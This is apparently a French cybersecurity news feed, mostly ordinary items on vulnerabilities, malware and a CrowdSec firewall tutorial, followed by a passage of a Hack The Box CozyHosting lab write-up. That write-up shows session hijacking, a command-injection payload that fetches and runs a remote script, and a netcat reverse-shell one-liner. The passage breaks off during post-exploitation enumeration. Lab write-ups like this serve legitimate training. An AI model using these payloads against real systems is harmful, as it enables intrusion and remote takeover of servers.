Les objets électroniques que vous achetez pour les fêtes de fin d'année peuvent contenir des vulnérabilités qu'il vaut mieux connaître (et sécuriser) avant de les offrir avec enthousiasme.
Un nouveau smartphone est un beau cadeau qu'il convient de sécuriser et organiser pour éviter un bazar de données à l'avenir. Un expert en cyber nous donne quelques conseils pour installer des barrières dès la prise en main.
Il existe bien des façons de faire déraper l’informatique des Jeux olympiques et paralympiques de Paris. Un problème dont les organisateurs sont bien conscients.
Une campagne de phishing usurpe les finances publiques et prétend par mail qu'une amende de 35 euros est à régler avant le début de l'année 2024.
C'est la fin pour l'app de bureau Authy. Le service qui propose son outil pour la double authentification va se concentrer à l'avenir sur Android et iOS. Les versions pour Windows, MacOS et Linux seront délaissées après le mois d'août 2024.
L’intelligence artificielle a révolutionné de nombreux domaines dont celui de la cybersécurité. Cependant, cette technologie prometteuse soulève des questions en termes d’explicabilité et de transparence. Le Machine Learning (ML)a connu des avancées remarquables depuis ces dernières années. Aujourd’hui, grâce à d’énormes bases de données, des modèles de plus en plus élaborés peuvent classifier des attaques […]
The post A quoi correspond l’explicabilité des IA en cybersécurité ? first appeared on UnderNews.Le 8 décembre dernier, le parlement européen est parvenu à un accord légiférant l’utilisation de l’intelligence artificielle (IA). Ce règlement vise à promouvoir l’innovation dans le secteur mais aussi à protéger les droits fondamentaux, de la démocratie, de l’État de droit et de la durabilité environnementale face aux applications à haut risque de cette technologie. […]
The post IA Act : stimuler l’innovation tout en renforçant la cybersécurité first appeared on UnderNews.L’année 2024 s’annonce comme une période charnière dans le monde de la cybersécurité, avec de nouvelles menaces émergentes et des défis croissants pour la protection en ligne. Alors que la technologie évolue rapidement, les professionnels de la cybersécurité doivent rester vigilants pour anticiper et contrer les menaces futures. Dans cet article, nous examinons quelques-unes des […]
The post Tendances de la Cybersécurité en 2024 : Les Nouveaux Défis de la Protection en Ligne first appeared on UnderNews.Déployé de manière progressive et présenté au FIC en avril dernier, le Dashboard LockSelf fait désormais partie intégrante des outils de pilotage cyber des organisations utilisatrices de la suite LockSelf. Retour sur ses spécificités et ses fonctionnalités clés !
The post LockSelf dévoile un nouveau Dashboard dédié aux RSSI ! first appeared on UnderNews.Depuis son entrée en vigueur en janvier 2023, la Directive sur la Résilience Opérationnelle Numérique (DORA) a établi un nouveau cadre réglementaire pour l’Union Européenne, spécifique à la cybersécurité et à la gestion des risques dans le secteur financier. Cette législation répond non seulement aux menaces numériques grandissantes, mais offre aussi aux institutions financières une […]
The post Régulation DORA : la clé de la résilience opérationnelle pour le secteur bancaire first appeared on UnderNews.
Un grand exercice de cyberguerre organisé par l'armée (le Commandement de la cyberdéfense) pour former des étudiants a fait son retour à Nancy. Numerama a assisté à cette simulation où se mélangent cyberattaque et infiltration en tout genre.
L'attaque KeyTrap, c'est le nom donné à une nouvelle vulnérabilité découverte dans DNSSEC. Elle affecte tous les services et toutes les implémentations de DNS populaires, y compris bind9, dnsmasq, PowerDNS Recursor ainsi que le serveur DNS de Windows Server. Faisons le point.
Pour rappel, DNSSEC est une extension du DNS qui améliore la sécurité du service DNS grâce à l'ajout de signatures afin de pouvoir authentifier les réponses. Nous en avions parlé dans ce tutoriel : comment configurer DNSSEC sur Windows Server 2022 ?
En ce qui concerne la faille de sécurité KeyTrape, elle est associée à la référence CVE-2023-50387, et elle a été découverte par des chercheurs et experts allemands, issus de l'institut de recherche ATHENE, de l'université Goethe de Francfort, du Fraunhofer SIT et de l'université technique de Darmstadt.
D'après eux, cette vulnérabilité est présente dans DNSSEC depuis plus de 20 ans ! Elle est liée au fonctionnement de DNSSEC, notamment dans la gestion des clés cryptographiques. En exploitant cette vulnérabilité, il est possible d'effectuer un déni de service sur le système DNS pris pour cible. En effet, à partir d'une seule requête, la réponse retournée par le service DNS peut être retardée de 56 secondes à 16 heures (en fonction du type de service).
D'après les chercheurs : "Avec KeyTrap, un attaquant pourrait complètement désactiver de grandes parties de l'Internet mondial", preuve que cette vulnérabilité est importante. Ceci se justifie par le fait qu'elle impacte les fournisseurs de services DNS les plus importants, tels que Google et Cloudflare.
Voici un tableau publié par les chercheurs en sécurité (visible dans ce rapport) où l'on peut voir quelles sont les applications et les services vulnérables :
Depuis novembre 2023, des travaux sont en cours chez Google, Cloudflare, mais également chez Akamai pour déployer des mesures d'atténuations permettant de se protéger de cette vulnérabilité liée au fonctionnement de DNSSEC. Du côté de chez Microsoft, il semblerait que la mise à jour cumulative pour Windows Server déployée à l'occasion du Patch Tuesday de Février 2024 permette de corriger cette vulnérabilité.
D'après un rapport d'Akamai : "environ 35 % des utilisateurs d'Internet basés aux États-Unis et 30 % des utilisateurs d'Internet dans le monde utilisent des résolveurs DNS qui utilisent la validation DNSSEC et sont donc vulnérables à KeyTrap.".
The post DNSSEC : un seul paquet peut perturber l’accès à Internet avec l’attaque KeyTrap first appeared on IT-Connect.
Dans ce tutoriel, nous allons voir comment installer CrowdSec sur un pare-feu PfSense dans le but de bloquer les adresses IP malveillantes, notamment à l'origine d'attaques brute force, de scans de port et de recherche de vulnérabilités web (HTTP).
CrowdSec, que nous avons déjà abordé au sein de plusieurs articles, est une solution gratuite et open source capable de détecter et bloquer les attaques à destination des machines, grâce à la prise en charge de nombreux scénarios de détection. CrowdSec prend en charge Linux, Windows Server, FreeBSD, et il peut être mis en place sur certains firewalls comme PfSense et OPNSense.
Lorsqu'il est en place sur un firewall PfSense, CrowdSec va analyser plusieurs journaux du système pour identifier les comportements malveillants et bloquer les adresses IP associées. En complément, les adresses IP présentes dans les listes communautaires de CrowdSec sont également bloquées.
Il est important de préciser que si vous utilisez HAProxy en tant que reverse proxy sur un pare-feu PfSense, vous pouvez également configurer CrowdSec pour qu'il surveille les logs de HAProxy pour détecter les attaques Web. C'est très intéressant, et ce scénario sera probablement détaillé dans un article complémentaire.
Pour vous aider à mettre en place ce tutoriel, voici quelques ressources supplémentaires :
Pour suivre ce tutoriel, vous avez besoin d'un pare-feu PfSense déjà en place car nous n'allons pas voir l'installation. Pour ceux qui le souhaitent, vous pouvez utiliser le Lab basé sur VMware Workstation comme point de départ, si vous désirez vous entrainer. C'est ce que je fais pour ma part.
En complément, une machine virtuelle sous Kali Linux sera utilisée pour simuler une attaque (en se positionnant côté WAN). Mais, vous pouvez directement utiliser votre hôte physique sans problème (sous Windows, vous pouvez installer l'outil Zenmap, par exemple).
La première étape consiste à installer un ensemble de paquets sur le pare-feu PfSense afin de pouvoir intégrer CrowdSec. Pour exécuter des commandes shell sur PfSense, il y a trois options :
Dans le cas présent, je pensais utiliser la fonction "Command Prompt" mais les commandes ne sont pas passées. Il est préférable de passer directement via la console.
Si vous avez besoin d'activer le SSH, cliquez sur "System" puis "Advanced". À cet endroit, il y a une section "Secure Shell" où vous pouvez activer le SSH et définir un port personnalisé.
Ensuite, vous devez vous connecter en SSH à PfSense. Vous pouvez utiliser le client OpenSSH de Windows ou Linux, ou une autre application telle que PuTTY.
Voici comment se connecter sur un pare-feu avec l'adresse IP "192.168.100.1" avec le compte "admin", où le port SSH est 9922.
ssh [email protected] -p 9922La première fois, vous devez accepter l'empreinte en indiquant "yes". Ensuite, saisissez le mot de passe et validez. Pour accéder au shell, choisissez l'option "8".
Désormais, il va falloir installer CrowdSec, son paquet pour PfSense, le bouncer Firewall et des dépendances.
Pour cela, vous devez récupérer les liens vers les dernières versions en vous référant au GitHub de CrowdSec. Autrement dit, les commandes "pkg add" ci-dessous pointent vers les versions actuelles, mais ce ne seront pas forcément les dernières lorsque vous allez suivre ce tutoriel.
Avant d'installer les paquets, nous allons définir la variable "IGNORE_OSVERSION" à "yes" pour éviter les avertissements lors de l'installation des paquets (dû à la différence entre la version du paquet et la version de FreeBSD sur laquelle est basée PfSense).
Dans la console, saisissez cette commande :
setenv IGNORE_OSVERSION yesPuis exécutez les commandes suivantes pour télécharger et installer les paquets :
pkg add -f https://github.com/crowdsecurity/pfSense-pkg-crowdsec/releases/download/v0.1.3/abseil-20230125.3.pkg
pkg add -f https://github.com/crowdsecurity/pfSense-pkg-crowdsec/releases/download/v0.1.3/re2-20231101.pkg
pkg add -f https://github.com/crowdsecurity/pfSense-pkg-crowdsec/releases/download/v0.1.3/crowdsec-1.6.0.pkg
pkg add -f https://github.com/crowdsecurity/pfSense-pkg-crowdsec/releases/download/v0.1.3/crowdsec-firewall-bouncer-0.0.28_3.pkg
pkg add -f https://github.com/crowdsecurity/pfSense-pkg-crowdsec/releases/download/v0.1.3/pfSense-pkg-crowdsec-0.1.3.pkg
L'installation de CrowdSec est effectuée à l'emplacement suivant :
/usr/local/etc/crowdsec/Par la suite, si vous avez besoin de redémarrer CrowdSec, utilisez cette commande (adaptez également pour l'arrêter / le démarrer) :
service crowdsec.sh restartAvant de poursuivre, vous devez redémarrer votre pare-feu PfSense, sinon CrowdSec ne sera pas actif, et la ligne de commande "cscli" indisponible également.
Voilà, vous venez d'installer CrowdSec sur PfSense !
Sachez que tout le jeu de commandes habituel permettant de configurer et d'utiliser CrowdSec est disponible : cscli. Vous pouvez aussi faire l'essentiel de la configuration à partir de l'interface d'administration de PfSense.
À partir du menu, sous "Services", choisissez "CrowdSec".
Par défaut, et c'est plutôt appréciable, CrowdSec est préconfiguré pour être opérationnel et être capable d'analyser les journaux de PfSense. Pour en savoir plus sur les fichiers de logs parsés par CrowdSec, regardez ces deux fichiers :
/usr/local/etc/crowdsec/acquis.yaml
/usr/local/etc/crowdsec/acquis.d/pfsense.yamlVous devez tout de même réviser la configuration proposée...
Vous pouvez constater que la "Local API" (LAPI) est activée. Elle est utilisée par CrowdSec pour le partage d'informations entre plusieurs instances. Ici, c'est en local. Au cas où il s'agirait d'un déploiement avec plusieurs machines qui s'échangent les informations (adresses IP bloquées, par exemple), il faudrait s'intéresser à la section "Remote API". Ici, ce n'est pas nécessaire.
Descendez dans la page... Nous pouvons constater que CrowdSec est actif sur toutes les interfaces de PfSense, en entrée (flux malveillants entrants). Il est important de préciser que les règles de pare-feu créées par CrowdSec ne sont pas visibles dans la liste des règles de PfSense que l'on peut afficher en mode web, mais uniquement en ligne de commande.
Cliquez sur le bouton "Save" pour valider la configuration et démarrer CrowdSec.
Désormais, dans le menu "Status", cliquez sur "CrowdSec Status".
Ici, vous pouvez visualiser l'état général de CrowdSec, ainsi qu'obtenir la liste des bouncers, des collections, des scénarios, etc... Mais aussi lister les dernières alertes et les décisions. Pour rappel, une décision correspond au fait de bannir une adresse IP (action par défaut).
Voici la liste des collections actuellement installées :
Nous pourrions en ajouter d'autres à partir de la ligne de commande (cscli collections install). Ceci peut s'avérer utile si votre pare-feu PfSense héberge d'autres services, comme un reverse proxy HAProxy, par exemple.
Enfin, il y a la section "CrowdSec Metrics" accessible via le menu "Diagnostics" de PfSense qui donne des statistiques plus détaillées sur l'activité de CrowdSec sur notre pare-feu. Nous pouvons entre autres visualiser quels sont les fichiers de log analysés par CrowdSec et obtenir des statistiques à leur sujet.
A partir de l'outil NMAP, nous allons pouvoir réaliser un scan de ports sur l'adresse IP de l'interface WAN du PfSense. Dans cet exemple, il s'agit de "192.168.1.60", mais en production, il s'agirait de votre adresse IP publique. Vous pouvez utiliser NMAP sur Linux, via WSL, ou sinon en mode graphique sous Windows avec Zenmap.
Voici la commande à exécuter pour faire un scan de port à la recherche de services fréquents :
nmap -sV 192.168.1.60Le scan a permis de détecter que le port 80/tcp (http) était ouvert. C'est normal, car une règle de NAT redirige les flux HTTP vers un serveur Web en DMZ. Il n'a pas obtenu d'autres réponses.
Pour cause, la machine à l'origine du scan a été bannie par CrowdSec. Nous pouvons le voir dans le menu "Status" puis "CrowdSec", en accédant à l'onglet "Decisions". Cette adresse IP a été bannie à cause du scan de port, comme indiqué : pf-scan-multi_ports.
L'information est bien entendu visible à partir de la ligne de commande :
cscli decisions list Nous pouvons constater que CrowdSec est opérationnel et réactif sur notre pare-feu PfSense ! C'est un gros plus pour la protection de notre réseau !
Suite à la mise en place de CrowdSec sur notre pare-feu PfSense, nous sommes en mesure de détecter et bloquer les adresses IP malveillantes. Ainsi, si une machine vient frapper à la porte de votre pare-feu pour voir quels sont les services ouverts, elle sera directement bannie.
Par la suite, nous verrons comment aller plus loin dans la détection et la configuration s'il y a un reverse proxy HAProxy en place sur le pare-feu PfSense. Pour aller plus loin, nous pourrions aussi déployer CrowdSec sur les serveurs de notre infrastructure et faire en sorte pour que toutes les décisions et alertes soient synchronisées entre les hôtes, en nous appuyant sur l'instance CrowdSec déployée sur PfSense comme point central.
The post Installer CrowdSec sur un pare-feu PfSense pour protéger son réseau first appeared on IT-Connect.
Magika, c'est le nom du nouvel outil de Google mis à disposition de la communauté et qui permet d'identifier les types de fichiers, rapidement, grâce à l'intelligence artificielle. Voici ce qu'il faut savoir !
Avec Magika, vous pouvez identifier facilement et rapidement les types de fichiers binaires et textuels. Déjà utilisé en interne par Google, il peut être utilisé par tout le monde dès à présent. Il s'installe sur une machine en locale en tant que paquet Python (via "pip install magika"), mais vous aussi l'utiliser à partir de ce site de démo. "Magika est déjà utilisé pour protéger des produits tels que Gmail, Drive et Safe Browsing, ainsi que par notre équipe VirusTotal", précise Google.
À partir d'un bel échantillon de 1 million de fichiers, Google a comparé les performances de Magika avec d'autres outils tels que Exiftool, Trid, File mime et File magic. L'entreprise américaine affirme que : "Magika surpasse les méthodes conventionnelles d'identification de fichiers en offrant une augmentation globale de 30% de la précision et jusqu'à 95% de précision supplémentaire sur des contenus traditionnellement difficiles à identifier, mais potentiellement problématiques, tels que VBA, JavaScript et PowerShell."
Magika parvient à être plus performant grâce à l'intelligence artificielle et au fait qu'il a été entrainé sur énormément de données. Pour être plus précis, il s'appuie sur ce que l'on appelle un "deep-learning model" et il est capable d'identifier le type d'un fichier en quelques millisecondes.
Voici le tableau récapitulatif publié par Google sur cette page :
Je n'ai pas encore testé cet outil, mais il me semble très intéressant ! Attention, nous parlons bien d'identifier le type d'un fichier, ce qui n'indique pas s'il s'agit d'un fichier malveillant ou non, même si cela peut être un premier signe. L'exemple ci-dessous, publié par Google, montre que l'outil peut afficher le résultat pour l'ensemble des fichiers contenus dans un dossier :
Pour Google, le déploiement de l'intelligence artificielle à grande échelle au sein des outils et services va jouer un rôle au niveau de la cybersécurité et faire pencher la balance en faveur des défenseurs, face aux attaques.
Qu'en pensez-vous ?
The post Magika, un outil open source de Google pour identifier des fichiers grâce à l’IA first appeared on IT-Connect.
Depuis plusieurs mois, le cheval de Troie bancaire Anatsa cible les appareils Android, et plus particulièrement les utilisateurs européens ! Pour se propager, il s'appuie sur des applications malveillantes diffusées par le Google Play Store. Faisons le point sur cette menace.
Les chercheurs en sécurité de ThreatFabric ont mis en ligne un rapport pour alerte sur l'activité du Trojan Anatsa. D'après eux, depuis le mois de novembre 2023, il est très actif et il a déjà infecté les appareils de 150 000 utilisateurs européens. Quand il est en place, Anatsa a pour objectif de voler vos identifiants bancaires pour vider vos comptes.
On parle de cinq campagnes différentes lancées à l'encontre des utilisateurs situés au Royaume-Uni, en Allemagne, en Espagne, en Slovaquie, en Slovénie et en République tchèque. Chaque campagne a pour objectif de cibler une zone géographique bien précise. Même si cela s'est intensifié ces derniers mois, ce n'est pas la première fois qu'Anatsa s'en prend aux utilisateurs européens. Le rapport technique de TheatFabric est disponible sur cette page.
À chaque fois, l'application publiée sur le Google Play Store sert d'appât et de "dropper" pour distribuer le malware sur les appareils des victimes. Il s'agit d'un processus d'infection en plusieurs étapes qui permet de contourner les mesures de protection d'Android, jusqu'à Android 13. Par exemple, la technique employée par Anatsa abuse du service d'accessibilité d'Android en prétextant la nécessité d'avoir une autorisation d'accès pour hiberner les applications gourmandes en batterie.
Les chercheurs de ThreatFabric évoquent plusieurs applications utilisées dans le cadre de ces campagnes, notamment "Phone Cleaner – File Explorer" avec environ 10 000 téléchargements, et "PDF Reader: File Manager" avec plus de 100 000 téléchargements. Au total, les différents apps cumulent plus de 150 000 téléchargements, soit autant de victimes potentielles.
Voici la liste des 5 applications utilisées :
Méfiez-vous avant d'installer des applications, même lorsque c'est sur le Play Store : lisez les avis, consultez l'historique, etc... Avant de cliquer sur le bouton "Installer".
The post En Europe, le malware Anatsa a déjà infecté plus de 150 000 appareils Android first appeared on IT-Connect.
À l'heure où ces lignes sont écrites, il y a au moins 28 500 serveurs de messagerie Exchange vulnérables à la nouvelle faille de sécurité critique CVE-2024-21410 patchée la semaine dernière par Microsoft. En réalité, le nombre de serveurs vulnérables pourrait être beaucoup plus élevé. Faisons le point !
À l'occasion de son Patch Tuesday de Février 2024, Microsoft a corrigé 73 failles de sécurité, ainsi que plusieurs failles zero-day. C'est notamment le cas de la CVE-2024-21410, car cette vulnérabilité présente dans Microsoft Exchange Server a été exploitée par les pirates en tant que faille zero-day avant qu'elle ne soit patchée.
Associée à un score CVSS v3.1 de 9.8 sur 10, cette faille de sécurité critique permet à un attaquant non authentifié d'élever ses privilèges en s'appuyant sur une attaque par relais NTLM ciblant un serveur Microsoft Exchange vulnérable.
Comme souvent, le service de monitoring The Shadowserver a mis en ligne quelques statistiques intéressantes pour nous indiquer combien il y a de machines potentielles vulnérables. Les serveurs Exchange étant, généralement, exposés sur Internet, il est possible de les sonder et de récupérer le numéro de version.
Ainsi, sur un total de 97 000 serveurs Exchange identifiés, il y a 28 500 serveurs qui sont vulnérables à la vulnérabilité CVE-2024-21410. Pour environ 68 500 serveurs, l'état est inconnu puisque cela dépend si les administrateurs ont appliqué ou non les mesures d'atténuation. Nous pouvons imaginer que c'est le cas pour une partie des serveurs, mais pas pour tous... Ce qui augmente forcément le nombre de serveurs vulnérables.
En ce qui concerne les pays avec le plus de serveurs Exchange vulnérables, The Shadowserver a publié une liste sur cette page. Voici le Top 5 :
| Pays | Nombre d'adresses IP uniques |
|---|---|
| Allemagne | 22 903 |
| États-Unis | 19 434 |
| Royaume-Uni | 3 665 |
| Pays-Bas | 3 108 |
| France | 3 074 |
Nous savons que cette vulnérabilité est exploitée dans le cadre d'attaques. À l'heure actuelle, aucun exploit PoC public semble être disponible. Pour autant, il convient de se protéger dès que possible.
Sur Exchange Server 2019, vous devez installer la Cumulatice Update 14 (CU14) pour vous protéger. Pour en savoir plus sur cette vulnérabilité, et savoir comment se protéger sur les différentes versions d'Exchange Server, consultez notre article ci-dessous :
The post CVE-2024-21410 – Au moins 28 500 serveurs Exchange vulnérables à cette faille de sécurité exploitée ! first appeared on IT-Connect.
Un grand exercice de cyberguerre organisé par l'armée (le Commandement de la cyberdéfense) pour former des étudiants a fait son retour à Nancy. Numerama a assisté à cette simulation où se mélangent cyberattaque et infiltration en tout genre.
Dans cet article, je vous propose la résolution de la machine Hack The Box CozyHosting, de difficulté "Facile".
Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.
Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs
Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.
Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".
| Technologies/attaques abordées | Linux, Web, Springboot, PostgreSQL, RCE (Remote Command Execution), Vol de session, sudo escape |
| Outils utilisés | nmap, ssh, curl, nuclei, psql, johntheripper, sudo |
Retrouvez tous nos articles Hack The Box via ce lien :
Pour l'instant, nous ne disposons que de l'adresse IP de notre cible. Commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.
Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery
$ nmap --max-retries 1 -T4 -sS -A -v --open -p- -oA nmap-TCPFullVersion 10.10.11.230
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)Un service SSH et un service web sont accessibles, assez classique pour le moment.
Technique d'attaque (MITRE ATT&CK) : T1595 - Active Scanning: Vulnerability Scanning
Le site web exposé par le service web est un simple site vitrine :
Je commence par lancer l'outil nuclei qui va automatiser certaines tâches de découverte relatives à des CVE, framework ou mauvaises configuration spécifiques :
Le scanner web
nucleiest toujours intéressant à utiliser, quelque soit votre niveau en test d'intrusion. Il est certes loin de proposer un audit complet d'une application web, mais permet de scanner vos sites web pour un diagnostic rapide et dégrossir rapidement un test d'intrusion en boite noire. Son fonctionnement par module communautaire et très complet pour un outil open source et il renvoie rarement de faux positifs.
Assez rapidement, celui-ci découvre plusieurs points d'entrées relatifs à Springboot. Il s'agit d'un projet du framework Spring qui fournit un ensemble d'outils et de conventions pour faciliter la création de services web, d'applications back-end et de microservices. Il vise à rendre le développement d'applications basées sur Spring plus rapide et facile.
Springboot Actuator est un ensemble de fonctionnalités permettant de surveiller les applications, de collecter des métriques et comprendre le trafic ou l'état de la base de données. Il s'agit plus précisément d'une dépendance utilisée par les développeurs qui utilisent ce framework de développement. Tout cela semble fort intéressant pour un développeur, mais est-ce qu'un visiteur externe a besoin d'y accéder ? La réponse est probablement non.
Technique d'attaque (MITRE ATT&CK) : T1190 - Exploit Public-Facing Application
En étudiant les possibilités et point d'entrés d'Actuator, on remarque vite qu'il peut fournir à celui qui y accède un grand nombre d'informations sur l'application qu'il gère ou le serveur qui l'héberge. Le point d'entrée "/actuator/mappings" liste tous les points d'entrés disponibles :
On remarque notamment le point d'entrée "/actuator/session", toujours intéressant pour un visiteur anonyme :
$ curl http://cozyhosting.htb/actuator/sessions
{"7DA0F441BD57DB10A6D3E7F9DC07A2B0":"kanderson","C74E35728DE7EB32CB9F8F742A68CC7A":"kanderson","C6713C8621A4A5576FD206A0E0E00B28":"kanderson","1040C845B8DF19E4DFC2415898377302":"UNAUTHORIZED"}Sans aucune authentification et en quelques requêtes, nous parvenons à récupérer un jeton de session valide sur la plateforme ciblée.
Lors d'une authentification réussie, l'application web fournit, en échange de la preuve (mot de passe) de l’identité déclarée (login), un jeton de session. Cela évite ainsi à l'utilisateur de s'authentifier sur chaque changement de page. Ce jeton de session sera unique par utilisateur et pour chaque connexion, avec une durée de vie limitée. Ainsi, le fait de fournir cette donnée unique à chaque requête plutôt que nos identifiants, permet au serveur de suivre notre session et de nous maintenir authentifié lors de la navigation.
Sur l'application web, on remarque notamment que si l'on tente une authentification sur la page "/login", un "JSESSIONID" nous est attribué :
Le menu que vous voyez apparaitre en bas de la capture d'écran ci-dessus est la barre développeur de Firefox. Il s'agit d'un outil présent sur tous les navigateurs récents. Elle propose un ensemble d'outils intégrés permettant aux développeurs web d'inspecter et de déboguer les pages et les échanges, ainsi que d'analyser les performances du site en temps réel. Elle offre des fonctionnalités telles que l'inspection d'éléments HTML, la modification en direct du CSS, le débogage JavaScript, le suivi du réseau et la mesure des performances.
Cela nous permet d'obtenir le nom du cookie à utiliser, il faut ensuite remplacer son contenu par l'un des jetons de l’utilisateur "kanderson" récupéré plus haut.
Après modification de notre cookie, nous devons rafraichir la page pour que le serveur web comprenne que nous sommes authentifiés. Nous voilà ainsi sur le point d'entrée "/admin" en tant que l'utilisateur "K. Anderson". Nous venons d'effectuer un vol de session ! Sans connaissance du mot de passe de l'utilisateur, nous récupérons l'élément qui permet à l'application web de suivre sa session.
Nous pouvons à présent parcourir l'espace authentifié de l'application web. Cette fonctionnalité parait notamment intéressante :
Visiblement, nous pouvons spécifier un nom d'hôte et un nom d'utilisateur pour que l'application web s'y connecte. Autre fait intéressant, si l'on saisie des données qui ne sont pas conformes à ce que pourrait attendre ce genre de fonctionnalité, le contenu de l'aide de la commande SSH est retourné par l'application web :
Cela indique explicitement qu'une commande système est exécutée à l'aide des informations que nous saisissons.
Lorsque de la réalisation d'une attaque sur une application web, la saisie de données non conformes ou mal formatées est l'une des opérations de base à réaliser. Cela permet de voir si l'application web ciblée a été correctement développée afin de gérer les entrées utilisateurs, et notamment de s'assurer que celles-ci sont conformes à ce qui est attendu d'un point de vue logique (présence de caractères spéciaux dans un nom de domaine ?) ou métier (l'adresse mail saisie existe-t-elle vraiment ? Prix négatif ?).
L'objectif de l'attaquant est alors de tenter de faire apparaitre des erreurs, parfois verbeuses, pouvant faire fuiter des informations (framework/technologie utilisée, contexte d'exécution) ou trahir un manque de filtrage ou de contrôle des entrées utilisateur.
Ainsi, nous savons à présent que nos entrées sont insérées dans une commande système (Bash), et non plus simplement dans une variable d'un langage de développement web (PHP, Java, autre) ou une base de données. C'est une information très intéressante pour un attaquant, car s'il parvient à manipuler correctement cette commande, il pourra exécuter ses propres commandes sur le système.
Supposons que nos entrées "host" et "username" soient insérées dans une commande SSH comme celle-ci :
ssh username@hostAlors, nous pourrions insérer n’importe quelle commande dans cette commande SSH à l'aide d'une variable "host" comme celle-ci :
host = 127.0.0.1;whoami
username = john
ssh john@127.0.0.1;whoamiTentons de vérifier notre hypothèse :
Cela ne fonctionne pas, l'application web semble vérifier la cohérence du paramètre "hostname" reçu. Voyons si c'est également le cas avec le "username" :
Si l'on regarde attentivement le message d'erreur, nous comprenons qu'il s'agit en fait de deux messages distincts. Cela valide notre supposition initiale, au moins pour le paramètre "username". Voici précisément ce que donne notre injection
ssh john;[email protected]
# Détail des message d'erreurs
ssh john # ssh : Could not resolve hostname john : Temporary failure in name resolution
[email protected] # /bin/bash: line1 : [email protected]: command not foundÉtant donné que nous avons inséré un caractère de chainage de commande sous Linux (le point-virgule), nous avons maintenant deux commandes. Cependant, aucune des deux n'est réellement valide. Maintenant que nous avons validé la possibilité d'une injection de commande, nous devons produire quelque chose d'utile et de fonctionnel pour un attaquant. Au moins une de nos deux commandes doit pouvoir être exécutée sans erreurs.
Technique d'attaque (MITRE ATT&CK) : T1059.004 - Command and Scripting Interpreter: Unix Shell
Je décide d'utiliser pour cela une substitution de commande, qui permet sous Linux d'utiliser le résultat d'une commande comme argument pour une autre commande :
# Poste attaquant
# Création d'un script reverse shell
$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.162 9001 >/tmp/f" > x
# Mise en en écoute d'un service web
python3 -m http.server
# Mise en écoute d'un netcat (port 9001)
$ nc -lvp 9001Mon idée ici est de générer le téléchargement, puis l'exécution d'un script Bash qui contient des instructions pour monter un reverse shell en direction de mon système d'attaque.
Un reverse shell est une suite d'intrusion exécutée pour qu'un système compromis se connecte à un serveur distant contrôlé par l'attaquant, permettant ainsi à ce dernier d'obtenir un accès à distance à la machine compromise. Cette technique est souvent utilisée pour contourner les pare-feu et établir une communication secrète, rarement journalisée (à l'inverse d'une connexion SSH par exemple).
Voici la requête web utilisée pour l'exploitation :
POST /executessh HTTP/1.1
Host: cozyhosting.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
Origin: http://cozyhosting.htb
Connection: close
Referer: http://cozyhosting.htb/admin?error=Invalid%20hostname!
Cookie: JSESSIONID=10613C25E1495DF30F924F3A32433826
Upgrade-Insecure-Requests: 1
host=1.1.1.1&username=$(curl${IFS}http://10.10.14.162:8000/x|bash)Ici, on voit la substitution à l'intérieur du "$( )". Le système Linux va d'abord "résoudre" cette substitution avant d'insérer le résultat de la commande dans le "username" de la commande SSH. Vous noterez également la présence d'un "${IFS}", qui permet d'insérer un espace sans utiliser l'espace. Ainsi, même si le "username" de la commande SSH est mal formaté et entraîne une erreur, la substitution sera exécutée avant et l'erreur de la commande SSH n'aura aucun impact sur mon exploitation.
Enfin, le fait d'utiliser "curl http://IP/script|bash" permet de télécharger et exécuter un script Bash sans dépôt sur le système. J'utilise cette astuce pour éviter de m'embêter avec les nombreux caractères spéciaux de ma commande reverse shell, qui peuvent être à manipuler correctement pour passer l'encodage/décodage par le client, le service et l'application web.
# Récepetion du reverse shell sur le poste attaquant
$ nc -lvp 9001
connect to [10.10.14.162] from cozyhosting.htb [10.10.11.230] 42102
app@cozyhosting:/app$ À présent, nous avons à notre disposition un shell interactif en tant que l'utilisateur "app" le serveur attaqué.
Nous venons de le voir, les attaque de type RCE (Remote Command Execution) sont parmi les plus critiques qui puissent exister au sein d'une application web. Elles permettent d'exécuter du code sur un serveur web qui héberge l'application web, avec les droits du service web. Ainsi, nous pouvons nous affranchir des limitations imposées par nos droits applicatifs ou les fonctionnalités de l'application.
Nous avons un premier accès au serveur, pour aller jusqu'au bout, nous devons passer root ! Nous pouvons simplement commencer par quelques opérations de découverte basique sur le serveur :
app@cozyhosting:/app$ id
id
uid=1001(app) gid=1001(app) groups=1001(app)netstat -petulan |grep "LISTEN" |grep "127.0.0"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 102 21525 -
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 114 22278 -
tcp6 0 0 127.0.0.1:8080 :::* LISTEN 1001 23652 1065/java app@cozyhosting:/app$ ls -al
ls -al
total 58856
drwxr-xr-x 2 root root 4096 Aug 14 14:11 .
drwxr-xr-x 19 root root 4096 Aug 14 14:11 ..
